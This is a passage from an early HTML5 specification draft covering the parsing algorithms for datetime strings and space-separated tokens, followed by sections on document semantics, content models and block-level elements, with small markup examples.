<ol>   <li>    <p>Let <var title="">input</var> be the string being parsed.   <li>    <p>Let <var title="">position</var> be a pointer into <var     title="">input</var>, initially pointing at the start of the string.   <li>    <p><a href="#collect">Collect a sequence of characters</a> in the range     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected     sequence is not exactly four characters long, then fail. Otherwise,     interpret the resulting sequence as a base ten integer. Let that number     be the <var title="">year</var>.   <li>    <p>If <var title="">position</var> is beyond the end of <var     title="">input</var> or if the character at <var title="">position</var>     is not a U+002D HYPHEN-MINUS character, then fail. Otherwise, move <var     title="">position</var> forwards one character.   <li>    <p><a href="#collect">Collect a sequence of characters</a> in the range     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected     sequence is not exactly two characters long, then fail. Otherwise,     interpret the resulting sequence as a base ten integer. Let that number     be the <var title="">month</var>.   <li>If <var title="">month</var> is not a number in the range    1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">month</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;12, then fail.   <li>    <p>Let <var title="">maxday</var> be the <a href="#number">number of days     in month <var title="">month</var> of year <var title="">year</var></a>.   <li>    <p>If <var title="">position</var> is beyond the end of <var     title="">input</var> or if the character at <var title="">position</var>     is not a U+002D HYPHEN-MINUS character, then fail. Otherwise, move <var     title="">position</var> forwards one character.   <li>    <p><a href="#collect">Collect a sequence of characters</a> in the range     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected     sequence is not exactly two characters long, then fail. Otherwise,     interpret the resulting sequence as a base ten integer. Let that number     be the <var title="">day</var>.   <li>    <p>If <var title="">day</var> is not a number in the range     1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">month</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var     title="">maxday</var>, then fail.   <li>    <p><a href="#collect">Collect a sequence of characters</a> that are     either U+0054 LATIN CAPITAL LETTER T characters or <a href="#space"     title="space character">space characters</a>. If the collected sequence     is zero characters long, or if it contains more than one U+0054 LATIN     CAPITAL LETTER T character, then fail.   <li>    <p><a href="#collect">Collect a sequence of characters</a> in the range     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected     sequence is not exactly two characters long, then fail. Otherwise,     interpret the resulting sequence as a base ten integer. Let that number     be the <var title="">hour</var>.   <li>If <var title="">hour</var> is not a number in the range    0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">hour</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;23, then fail.   <li>    <p>If <var title="">position</var> is beyond the end of <var     title="">input</var> or if the character at <var title="">position</var>     is not a U+003A COLON character, then fail. Otherwise, move <var     title="">position</var> forwards one character.   <li>    <p><a href="#collect">Collect a sequence of characters</a> in the range     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected     sequence is not exactly two characters long, then fail. Otherwise,     interpret the resulting sequence as a base ten integer. Let that number     be the <var title="">minute</var>.   <li>If <var title="">minute</var> is not a number in the range    0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">minute</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;59, then fail.   <li>    <p>Let <var title="">second</var> be a string with the value "0".   <li>    <p>If <var title="">position</var> is beyond the end of <var     title="">input</var>, then fail.   <li>    <p>If the character at <var title="">position</var> is a U+003A COLON,     then:</p>    <ol>     <li>      <p>Advance <var title="">position</var> to the next character in <var       title="">input</var>.     <li>      <p>If <var title="">position</var> is beyond the end of <var       title="">input</var>, or at the last character in <var       title="">input</var>, or if the next <em>two</em> characters in <var       title="">input</var> starting at <var title="">position</var> are not       two characters both in the range U+0030 DIGIT ZERO (0) to U+0039 DIGIT       NINE (9), then fail.     <li>      <p><a href="#collect">Collect a sequence of characters</a> that are       either characters in the range U+0030 DIGIT ZERO (0) to U+0039 DIGIT       NINE (9) or U+002E FULL STOP characters. If the collected sequence has       more than one U+002E FULL STOP characters, or if the last character in       the sequence is a U+002E FULL STOP character, then fail. Otherwise,       let the collected string be <var title="">second</var> instead of its       previous value.    </ol>   <li>    <p>Interpret <var title="">second</var> as a base ten number (possibly     with a fractional part). Let that number be <var title="">second</var>     instead of the string version.   <li>If <var title="">second</var> is not a number in the range    0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">hour</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;60, then fail.    (The values 60 and 61 are not allowed: leap seconds cannot be represented    by datetime values.)   <li>    <p>If <var title="">position</var> is beyond the end of <var     title="">input</var>, then fail.   <li>    <p><a href="#skip-whitespace">Skip whitespace.</a>   <li>    <p>If the character at <var title="">position</var> is a U+005A LATIN     CAPITAL LETTER Z, then:</p>    <ol>     <li>      <p>Let <var title="">timezone<sub>hours</sub></var> be 0.     <li>      <p>Let <var title="">timezone<sub>minutes</sub></var> be 0.     <li>      <p>Advance <var title="">position</var> to the next character in <var       title="">input</var>.    </ol>   <li>    <p>Otherwise, if the character at <var title="">position</var> is either     a U+002B PLUS SIGN ("+") or a U+002D HYPHEN-MINUS ("-"), then:</p>    <ol>     <li>      <p>If the character at <var title="">position</var> is a U+002B PLUS       SIGN ("+"), let <var title="">sign</var> be "positive". Otherwise,       it's a U+002D HYPHEN-MINUS ("-"); let <var title="">sign</var> be       "negative".     <li>      <p>Advance <var title="">position</var> to the next character in <var       title="">input</var>.     <li>      <p><a href="#collect">Collect a sequence of characters</a> in the range       U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected       sequence is not exactly two characters long, then fail. Otherwise,       interpret the resulting sequence as a base ten integer. Let that       number be the <var title="">timezone<sub>hours</sub></var>.     <li>If <var title="">timezone<sub>hours</sub></var> is not a number in      the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var      title="">timezone<sub>hours</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;23, then fail.     <li>If <var title="">sign</var> is "negative", then negate <var      title="">timezone<sub>hours</sub></var>.     <li>      <p>If <var title="">position</var> is beyond the end of <var       title="">input</var> or if the character at <var       title="">position</var> is not a U+003A COLON character, then fail.       Otherwise, move <var title="">position</var> forwards one character.     <li>      <p><a href="#collect">Collect a sequence of characters</a> in the range       U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected       sequence is not exactly two characters long, then fail. Otherwise,       interpret the resulting sequence as a base ten integer. Let that       number be the <var title="">timezone<sub>minutes</sub></var>.     <li>If <var title="">timezone<sub>minutes</sub></var> is not a number in      the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var      title="">timezone<sub>minutes</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;59, then fail.    </ol>   <li>    <p>If <var title="">position</var> is <em>not</em> beyond the end of <var     title="">input</var>, then fail.   <li>    <p>Let <var title="">time</var> be the moment in time at year <var     title="">year</var>, month <var title="">month</var>, day <var     title="">day</var>, hours <var title="">hour</var>, minute <var     title="">minute</var>, second <var title="">second</var>, adding <var     title="">timezone<sub>hours</sub></var> hours and <var     title="">timezone<sub>minutes</sub></var> minutes. That moment in time     is a moment in the UTC timezone.   <li>    <p>Let <var title="">timezone</var> be <var     title="">timezone<sub>hours</sub></var> hours and <var     title="">timezone<sub>minutes</sub></var> minutes from UTC.   <li>    <p>Return <var title="">time</var> and <var title="">timezone</var>.  </ol>  <h5 id=vaguer><span class=secno>3.2.3.2. </span>Vaguer moments in time</h5>  <p>This section defines <dfn id=date-or title="date or time string">date or   time strings</dfn>. There are two kinds, <dfn id=date-or0 title="date or   time string in content">date or time strings in content</dfn>, and <dfn   id=date-or1 title="date or time string in attributes">date or time strings   in attributes</dfn>. The only difference is in the handling of whitespace   characters.  <p>To parse a <a href="#date-or">date or time string</a>, user agents must   use the following algorithm. A <a href="#date-or">date or time string</a>   is a <em>valid</em> date or time string if the following algorithm, when   run on the string, doesn't say the string is invalid.  <p>The algorithm may return nothing (in which case the string will be   invalid), or it may return a date, a time, a date and a time, or a date   and a time and and a timezone. Even if the algorithm returns one or more   values, the string can still be invalid.  <ol><!-- INIT -->   <li>    <p>Let <var title="">input</var> be the string being parsed.   <li>    <p>Let <var title="">position</var> be a pointer into <var     title="">input</var>, initially pointing at the start of the string.   <li>    <p>Let <var title="">results</var> be the collection of results that are     to be returned (one or more of a date, a time, and a timezone),     initially empty. If the algorithm aborts at any point, then whatever is     currently in <var title="">results</var> must be returned as the result     of the algorithm.   </li>   <!-- LEADING WHITESPACE -->   <li>    <p>For the "in content" variant: <a href="#skip-">skip Zs characters</a>;     for the "in attributes" variant: <a href="#skip-whitespace">skip     whitespace</a>.   </li>   <!-- XXX skip whitespace in attribute?   really? -->   <!-- YEAR or HOUR -->   <li>    <p><a href="#collect">Collect a sequence of characters</a> in the range     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected     sequence is empty, then the string is invalid; abort these steps.   <li>    <p>Let the sequence of characters collected in the last step be <var     title="">s</var>.   <li>    <p>If <var title="">position</var> is past the end of <var     title="">input</var>, the string is invalid; abort these steps.   <li>    <p>If the character at <var title="">position</var> is <em>not</em> a     U+003A COLON character, then:</p>    <!-- DATE -->    <ol>     <li>      <p>If the character at <var title="">position</var> is not a U+002D       HYPHEN-MINUS ("-") character either, then the string is invalid, abort       these steps.     </li>     <!-- YEAR -->     <li>      <p>If the sequence <var title="">s</var> is not exactly four digits       long, then the string is invalid. (This does not stop the algorithm,       however.)     <li>      <p>Interpret the sequence of characters collected in step 5 as a base       ten integer, and let that number be <var title="">year</var>.     <li>      <p>Advance <var title="">position</var> past the U+002D HYPHEN-MINUS       ("-") character.     </li>     <!-- MONTH -->     <li>      <p><a href="#collect">Collect a sequence of characters</a> in the range       U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected       sequence is empty, then the string is invalid; abort these steps.     <li>      <p>If the sequence collected in the last step is not exactly two digits       long, then the string is invalid.     <li>      <p>Interpret the sequence of characters collected two steps ago as a       base ten integer, and let that number be <var title="">month</var>.     <li>If <var title="">month</var> is not a number in the range      1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">month</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;12, then the      string is invalid, abort these steps.     <li>      <p>Let <var title="">maxday</var> be the <a href="#number">number of       days in month <var title="">month</var> of year <var       title="">year</var></a>.     <li>      <p>If <var title="">position</var> is past the end of <var       title="">input</var>, or if the character at <var       title="">position</var> is <em>not</em> a U+002D HYPHEN-MINUS ("-")       character, then the string is invalid, abort these steps. Otherwise,       advance <var title="">position</var> to the next character.     </li>     <!-- DAY -->     <li>      <p><a href="#collect">Collect a sequence of characters</a> in the range       U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected       sequence is empty, then the string is invalid; abort these steps.     <li>      <p>If the sequence collected in the last step is not exactly two digits       long, then the string is invalid.     <li>      <p>Interpret the sequence of characters collected two steps ago as a       base ten integer, and let that number be <var title="">day</var>.     <li>      <p>If <var title="">day</var> is not a number in the range       1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">day</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var       title="">maxday</var>, then the string is invalid, abort these steps.     <li>      <p>Add the date represented by <var title="">year</var>, <var       title="">month</var>, and <var title="">day</var> to the <var       title="">results</var>.     </li>     <!-- WHITESPACE -->     <li>      <p>For the "in content" variant: <a href="#skip-">skip Zs       characters</a>; for the "in attributes" variant: <a       href="#skip-whitespace">skip whitespace</a>.     <li>      <p>If the character at <var title="">position</var> is a U+0054 LATIN       CAPITAL LETTER T, then move <var title="">position</var> forwards one       character.     <li>      <p>For the "in content" variant: <a href="#skip-">skip Zs       characters</a>; for the "in attributes" variant: <a       href="#skip-whitespace">skip whitespace</a>.     </li>     <!-- at this point, if <var title="">position</var> points to a     number, we know that we passed at least one space or a T, because     otherwise the number would have been slurped up in the last     "collect" step. -->     <!-- HOUR -->     <li>      <p><a href="#collect">Collect a sequence of characters</a> in the range       U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected       sequence is empty, then the string is invalid; abort these steps.     <li>      <p>Let <var title="">s</var> be the sequence of characters collected in       the last step.    </ol>   </li>   <!-- TIME -->   <li>    <p>If <var title="">s</var> is not exactly two digits long, then the     string is invalid.   <li>    <p>Interpret the sequence of characters collected two steps ago as a base     ten integer, and let that number be <var title="">hour</var>.   <li>    <p>If <var title="">hour</var> is not a number in the range     0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">hour</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;23, then the     string is invalid, abort these steps.   <li>    <p>If <var title="">position</var> is past the end of <var     title="">input</var>, or if the character at <var     title="">position</var> is <em>not</em> a U+003A COLON character, then     the string is invalid, abort these steps. Otherwise, advance <var     title="">position</var> to the next character.   </li>   <!-- MINUTE -->   <li>    <p><a href="#collect">Collect a sequence of characters</a> in the range     U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the collected     sequence is empty, then the string is invalid; abort these steps.   <li>    <p>If the sequence collected in the last step is not exactly two digits     long, then the string is invalid.   <li>    <p>Interpret the sequence of characters collected two steps ago as a base     ten integer, and let that number be <var title="">minute</var>.   <li>    <p>If <var title="">minute</var> is not a number in the range     0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">minute</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;59, then the     string is invalid, abort these steps.   </li>   <!-- SECOND -->   <li>    <p>Let <var title="">second</var> be 0. It may be changed to another     value in the next step.   <li>    <p>If <var title="">position</var> is not past the end of <var     title="">input</var> and the character at <var title="">position</var>     is a U+003A COLON character, then:</p>    <ol>     <li>      <p><a href="#collect">Collect a sequence of characters</a> that are       either characters in the range U+0030 DIGIT ZERO (0) to U+0039 DIGIT       NINE (9) or are U+002E FULL STOP. If the collected sequence is empty,       or contains more than one U+002E FULL STOP character, then the string       is invalid; abort these steps.     <li>      <p>If the first character in the sequence collected in the last step is       not in the range U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9), then       the string is invalid.     <li>      <p>Interpret the sequence of characters collected two steps ago as a       base ten number (possibly with a fractional part), and let that number       be <var title="">second</var>.     <li>      <p>If <var title="">second</var> is not a number in the range       0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">minute</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;60, then       the string is invalid, abort these steps.    </ol>   <li>    <p>Add the time represented by <var title="">hour</var>, <var     title="">minute</var>, and <var title="">second</var> to the <var     title="">results</var>.   </li>   <!-- TIME ZONE -->   <li>    <p>If <var title="">results</var> has both a date and a time, then:</p>    <ol>     <li>      <p>For the "in content" variant: <a href="#skip-">skip Zs       characters</a>; for the "in attributes" variant: <a       href="#skip-whitespace">skip whitespace</a>.     <li>      <p>If <var title="">position</var> is past the end of <var       title="">input</var>, then skip to the next step in the overall set of       steps.</p>      <!-- UTC -->     <li>      <p>Otherwise, if the character at <var title="">position</var> is a       U+005A LATIN CAPITAL LETTER Z, then:</p>      <ol>       <li>        <p>Add the timezone corresponding to UTC (zero offset) to the <var         title="">results</var>.       <li>        <p>Advance <var title="">position</var> to the next character in <var         title="">input</var>.       <li>        <p>Skip to the next step in the overall set of steps.      </ol>     </li>     <!-- EXPLICIT TIMEZONE OFFSET -->     <li>      <p>Otherwise, if the character at <var title="">position</var> is       either a U+002B PLUS SIGN ("+") or a U+002D HYPHEN-MINUS ("-"), then:</p>      <ol><!-- SIGN -->       <li>        <p>If the character at <var title="">position</var> is a U+002B PLUS         SIGN ("+"), let <var title="">sign</var> be "positive". Otherwise,         it's a U+002D HYPHEN-MINUS ("-"); let <var title="">sign</var> be         "negative".       </li>       <!-- HOURS -->       <li>        <p>Advance <var title="">position</var> to the next character in <var         title="">input</var>.       <li>        <p><a href="#collect">Collect a sequence of characters</a> in the         range U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the         collected sequence is not exactly two characters long, then the         string is invalid.       <li>        <p>Interpret the sequence collected in the last step as a base ten         number, and let that number be <var         title="">timezone<sub>hours</sub></var>.       <li>If <var title="">timezone<sub>hours</sub></var> is not a number in        the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var        title="">timezone<sub>hours</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;23, then the        string is invalid; abort these steps.       <li>If <var title="">sign</var> is "negative", then negate <var        title="">timezone<sub>hours</sub></var>.       <li>        <p>If <var title="">position</var> is beyond the end of <var         title="">input</var> or if the character at <var         title="">position</var> is not a U+003A COLON character, then the         string is invalid; abort these steps. Otherwise, move <var         title="">position</var> forwards one character.       </li>       <!-- MINUTES -->       <li>        <p><a href="#collect">Collect a sequence of characters</a> in the         range U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9). If the         collected sequence is not exactly two characters long, then the         string is invalid.       <li>        <p>Interpret the sequence collected in the last step as a base ten         number, and let that number be <var         title="">timezone<sub>minutes</sub></var>.       <li>If <var title="">timezone<sub>minutes</sub></var> is not a number        in the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var        title="">timezone<sub>minutes</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;59, then the        string is invalid; abort these steps.       <li>        <p>Add the timezone corresponding to an offset of <var         title="">timezone<sub>hours</sub></var> hours and <var         title="">timezone<sub>minutes</sub></var> minutes to the <var         title="">results</var>.       <li>        <p>Skip to the next step in the overall set of steps.      </ol>     <li>      <p>Otherwise, the string is invalid; abort these steps.    </ol>   <li>    <p>For the "in content" variant: <a href="#skip-">skip Zs characters</a>;     for the "in attributes" variant: <a href="#skip-whitespace">skip     whitespace</a>.   <li>    <p>If <var title="">position</var> is <em>not</em> past the end of <var     title="">input</var>, then the string is invalid.</p>   <li>    <p>Abort these steps (the string is parsed).  </ol>  <h4 id=tokens><span class=secno>3.2.4. </span>Tokens</h4>  <p>An <dfn id=unordered>unordered set of space-separated tokens</dfn> is a   set of zero or more words separated by one or more <a href="#space"   title="space character">space characters</a>, where words consist of any   string of one or more characters, none of which are <a href="#space"   title="space character">space characters</a>.  <p>A string containing an <a href="#unordered">unordered set of   space-separated tokens</a> may have leading or trailing <a href="#space"   title="space character">space characters</a>.  <p class=note>Thus, any string is a valid representation of an <a   href="#unordered">unordered set of space-separated tokens</a>.  <p>When a user agent has to <dfn id=split>split a string on spaces</dfn>,   it must use the following algorithm:  <ol>   <li>    <p>Let <var title="">input</var> be the string being parsed.   <li>    <p>Let <var title="">position</var> be a pointer into <var     title="">input</var>, initially pointing at the start of the string.   <li>    <p>Let <var title="">tokens</var> be a list of tokens, initially empty.   <li>    <p><a href="#skip-whitespace">Skip whitespace</a>   <li>    <p>While <var title="">position</var> is not past the end of <var     title="">input</var>:</p>    <ol>     <li>      <p><a href="#collect">Collect a sequence of characters</a> that are not       <a href="#space" title="space character">space characters</a>.     <li>      <p>Add the string collected in the previous step to <var       title="">tokens</var>.     <li>      <p><a href="#skip-whitespace">Skip whitespace</a>    </ol>   <li>    <p>Return <var title="">tokens</var>.  </ol>  <p>When a user agent has to <dfn id=remove0>remove a token from a   string</dfn>, it must use the following algorithm:  <ol>   <li>    <p>Let <var title="">input</var> be the string being modified.   <li>    <p>Let <var title="">token</var> be the token being removed. It will not     contain any <a href="#space" title="space character">space     characters</a>.   <li>    <p>Let <var title="">output</var> be the output string, initially empty.   <li>    <p>Let <var title="">position</var> be a pointer into <var     title="">input</var>, initially pointing at the start of the string.   <li>    <p>If <var title="">position</var> is beyond the end of <var     title="">input</var>, set the string being modified to <var     title="">output</var>, and abort these steps.   <li>    <p>If the character at <var title="">position</var> is a <a     href="#space">space character</a>:    <ol>     <li>      <p>Append the character at <var title="">position</var> to the end of       <var title="">output</var>.     <li>      <p>Increment <var title="">position</var> so it points at the next       character in <var title="">input</var>.     <li>      <p>Return to step 5 in the overall set of steps.    </ol>   <li>    <p>Otherwise, the character at <var title="">position</var> is the first     character of a token. <a href="#collect">Collect a sequence of     characters</a> that are not <a href="#space" title="space     character">space characters</a>, and let that be <var title="">s</var>.   <li>    <p>If <var title="">s</var> is exactly equal to <var     title="">token</var>, then:</p>    <ol>     <li>      <p><a href="#skip-whitespace">Skip whitespace</a> (in <var       title="">input</var>).     <li>      <p>Remove any <a href="#space" title="space character">space       characters</a> currently at the end of <var title="">output</var>.     <li>      <p>If <var title="">position</var> is not past the end of <var       title="">input</var>, and <var title="">output</var> is not the empty       string, append a single U+0020 SPACE character at the end of <var       title="">output</var>.    </ol>   <li>    <p>Otherwise, append <var title="">s</var> to the end of <var     title="">output</var>.   <li>    <p>Return to step 6 in the overall set of steps.  </ol>  <p class=note>This causes any occurrences of the token to be removed from   the string, and any spaces that were surrounding the token to be collapsed   to a single space, except at the start and end of the string, where such   spaces are removed.  <h3 id=documents0><span class=secno>3.3. </span>Documents and document   fragments</h3>  <h4 id=semantics0><span class=secno>3.3.1. </span>Semantics</h4>  <p>Elements, attributes, and attribute values in HTML are defined (by this   specification) to have certain meanings (semantics). For example, the   <code><a href="#ol0">ol</a></code> element represents an ordered list, and   the <code title=lang>lang</code> attribute represents the language of the   content.  <p>Authors must only use elements, attributes, and attribute values for   their appropriate semantic purposes.  <div class=example>   <p>For example, the following document is non-conforming, despite being    syntactically correct:</p>   <pre>AMPERSANDlt;!DOCTYPE htmlAMPERSANDgt;AMPERSANDlt;html lang="en-GB"AMPERSANDgt; AMPERSANDlt;headAMPERSANDgt; AMPERSANDlt;titleAMPERSANDgt; Demonstration AMPERSANDlt;/titleAMPERSANDgt; AMPERSANDlt;/headAMPERSANDgt; AMPERSANDlt;bodyAMPERSANDgt;  AMPERSANDlt;tableAMPERSANDgt;   AMPERSANDlt;trAMPERSANDgt; AMPERSANDlt;tdAMPERSANDgt; My favourite animal is the cat. AMPERSANDlt;/tdAMPERSANDgt; AMPERSANDlt;/trAMPERSANDgt;   AMPERSANDlt;trAMPERSANDgt;    AMPERSANDlt;tdAMPERSANDgt;     AMPERSANDmdash;AMPERSANDlt;a href="http://example.org/~ernest/"AMPERSANDgt;AMPERSANDlt;citeAMPERSANDgt;ErnestAMPERSANDlt;/citeAMPERSANDgt;AMPERSANDlt;/aAMPERSANDgt;,     in an essay from 1992    AMPERSANDlt;/tdAMPERSANDgt;   AMPERSANDlt;/trAMPERSANDgt;  AMPERSANDlt;/tableAMPERSANDgt; AMPERSANDlt;/bodyAMPERSANDgt;AMPERSANDlt;/htmlAMPERSANDgt;</pre>   <p>...because the data placed in the cells is clearly not tabular data. A    corrected version of this document might be:</p>   <pre>AMPERSANDlt;!DOCTYPE htmlAMPERSANDgt;AMPERSANDlt;html lang="en-GB"AMPERSANDgt; AMPERSANDlt;headAMPERSANDgt; AMPERSANDlt;titleAMPERSANDgt; Demonstration AMPERSANDlt;/titleAMPERSANDgt; AMPERSANDlt;/headAMPERSANDgt; AMPERSANDlt;bodyAMPERSANDgt;  AMPERSANDlt;blockquoteAMPERSANDgt;   AMPERSANDlt;pAMPERSANDgt; My favourite animal is the cat. AMPERSANDlt;/pAMPERSANDgt;  AMPERSANDlt;/blockquoteAMPERSANDgt;  AMPERSANDlt;pAMPERSANDgt;   AMPERSANDmdash;AMPERSANDlt;a href="http://example.org/~ernest/"AMPERSANDgt;AMPERSANDlt;citeAMPERSANDgt;ErnestAMPERSANDlt;/citeAMPERSANDgt;AMPERSANDlt;/aAMPERSANDgt;,   in an essay from 1992  AMPERSANDlt;/pAMPERSANDgt; AMPERSANDlt;/bodyAMPERSANDgt;AMPERSANDlt;/htmlAMPERSANDgt;</pre>   <p>This next document fragment, intended to represent the heading of a    corporate site, is similarly non-conforming because the second line is    not intended to be a heading of a subsection, but merely a subheading or    subtitle (a subordinate heading for the same section).</p>   <pre>AMPERSANDlt;bodyAMPERSANDgt; AMPERSANDlt;h1AMPERSANDgt;ABC CompanyAMPERSANDlt;/h1AMPERSANDgt; AMPERSANDlt;h2AMPERSANDgt;Leading the way in widget design since 1432AMPERSANDlt;/h2AMPERSANDgt; ...</pre>   <p>The <code><a href="#header0">header</a></code> element should be used    in these kinds of situations:</p>   <pre>AMPERSANDlt;bodyAMPERSANDgt; AMPERSANDlt;headerAMPERSANDgt;  AMPERSANDlt;h1AMPERSANDgt;ABC CompanyAMPERSANDlt;/h1AMPERSANDgt;  AMPERSANDlt;h2AMPERSANDgt;Leading the way in widget design since 1432AMPERSANDlt;/h2AMPERSANDgt; AMPERSANDlt;/headerAMPERSANDgt; ...</pre>  </div>  <p>Through scripting and using other mechanisms, the values of attributes,   text, and indeed the entire structure of the document may change   dynamically while a user agent is processing it. The semantics of a   document at an instant in time are those represented by the state of the   document at that instant in time, and the semantics of a document can   therefore change over time. User agents must update their presentation of   the document as this occurs.  <p class=example>HTML has a <code><a href="#progress0">progress</a></code>   element that describes a progress bar. If its "value" attribute is   dynamically updated by a script, the UA would update the rendering to show   the progress changing.  <h4 id=structure0><span class=secno>3.3.2. </span>Structure</h4>  <p>All the elements in this specification have a defined content model,   which describes what nodes are allowed inside the elements, and thus what   the structure of an HTML document or fragment must look like. Authors must   only put elements inside an element if that element allows them to be   there according to its content model.  <p class=note>As noted in the conformance and terminology sections, for the   purposes of determining if an element matches its content model or not, <a   href="#text-node" title="text node"><code>CDATASection</code> nodes in the   DOM are treated as equivalent to <code>Text</code> nodes</a>, and <a   href=entity-references>entity reference nodes are treated as if they were   expanded in place</a>.  <p>The <a href="#space" title="space character">space characters</a> are   always allowed between elements. User agents represent these characters   between elements in the source markup as text nodes in the   DOM.<!-- not a conf criteria since the parser now requires this  -->   Empty <a href="#text-node" title="text node">text nodes</a> and <a   href="#text-node" title="text node">text nodes</a> consisting of just   sequences of those characters are considered <dfn   id=inter-element>inter-element whitespace</dfn>.  <p><a href="#inter-element">Inter-element whitespace</a>, comment nodes,   and processing instruction nodes must be ignored when establishing whether   an element matches its content model or not, and must be ignored when   following algorithms that define document and element semantics.  <p>An element <var title="">A</var> is said to be <dfn   id=preceeded>preceeded or followed</dfn> by a second element <var   title="">B</var> if <var title="">A</var> and <var title="">B</var> have   the same parent node and there are no other element nodes or text nodes   (other than <a href="#inter-element">inter-element whitespace</a>) between   them.  <p>Authors must only use <a href="#elements1">elements in the HTML   namespace</a> in the contexts where they are allowed, as defined for each   element. For XML compound documents, these contexts could be inside   elements from other namespaces, if those elements are defined as providing   the relevant contexts.  <div class=example>   <p>The SVG specification defines the SVG <code>foreignObject</code>    element as allowing foreign namespaces to be included, thus allowing    compound documents to be created by inserting subdocument content under    that element. <em>This</em> specification defines the XHTML <code><a    href="#html0">html</a></code> element as being allowed where subdocument    fragments are allowed in a compound document. Together, these two    definitions mean that placing an XHTML <code><a    href="#html0">html</a></code> element as a child of an SVG    <code>foreignObject</code> element is conforming.</p>  </div>  <h4 id=kinds><span class=secno>3.3.3. </span>Kinds of elements</h4>  <p>Each element in HTML falls into zero or more categories that group   elements with similar characteristics together. This specification uses   the following categories:  <ul class=brief>   <li><a href="#metadata">Metadata elements</a>   <li><a href="#sectioning">Sectioning elements</a>   <li><a href="#block-level1">Block-level elements</a>   <li><a href="#strictly">Strictly inline-level content</a>   <li><a href="#structured">Structured inline-level elements</a>   <li><a href="#interactive3">Interactive elements</a>   <li><span>Form control elements</span>  </ul>  <!-- XXX check that all the above got a section defining them,  however briefly -->  <!-- XXX check that the element definitions also link to those  sections -->  <p>Some elements have unique requirements and do not fit into any   particular category.  <p>In addition, some elements represent various common concepts; for   example, some elements represent <span>paragraphs</span>.  <h5 id=block-level><span class=secno>3.3.3.1. </span><dfn   id=block-level1>Block-level elements</dfn></h5>  <p>Block-level elements are used for structural grouping of page content.  <p>There are several kinds of block-level elements:  <ul>   <li>Some can only contain other block-level elements: <code><a    href="#blockquote0">blockquote</a></code>, <code><a    href="#section0">section</a></code>, <code><a    href="#article0">article</a></code>, <code><a    href="#header0">header</a></code>.   <li>Some can only contain <a href="#inline-level1">inline-level    content</a>: <code><a href="#p0">p</a></code>, <code><a    href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code>, <code><a    href="#address0">address</a></code>.   <li>Some can contain either block-level elements or <a    href="#inline-level1">inline-level content</a> (but not both): <code><a    href="#nav0">nav</a></code>, <code><a href="#aside0">aside</a></code>,    <code><a href="#footer0">footer</a></code>, <code><a    href="#div0">div</a></code>.   <li>Finally, some have very specific content models: <code><a    href="#ul0">ul</a></code>, <code><a href="#ol0">ol</a></code>, <code><a    href="#dl0">dl</a></code>, <code><a href="#table0">table</a></code>,    <code><a href="#script2">script</a></code>.  </ul>  <p>There are also elements that seem to be block-level but aren't, such as   <code><a href="#body1">body</a></code>, <code><a   href="#li0">li</a></code>, <code><a href="#dt0">dt</a></code>, <code><a   href="#dd0">dd</a></code>, and <code><a href="#td0">td</a></code>. These   elements are allowed only in specific places, not simply anywhere that   block-level elements are allowed.  <p>Some block-level elements play multiple roles. For instance, the   <code><a href="#script2">script</a></code> elements is allowed inside   <code><a href="#head0">head</a></code> elements and can also be used as <a   href="#inline-level1">inline-level content</a>. Similarly, the <code><a   href="#ul0">ul</a></code>, <code><a href="#ol0">ol</a></code>, <code><a   href="#dl0">dl</a></code>, <code><a href="#table0">table</a></code>, and   <code><a href="#blockquote0">blockquote</a></code> elements play dual   roles as both block-level and inline-level elements.  <h5 id=inline-level><span class=secno>3.3.3.2. </span><dfn   id=inline-level1>Inline-level content</dfn></h5>  <p>Inline-level content consists of text and various elements to annotate   the text, as well as some <a href="#embedded0">embedded content</a> (such   as images or sound clips).  <p>Inline-level content 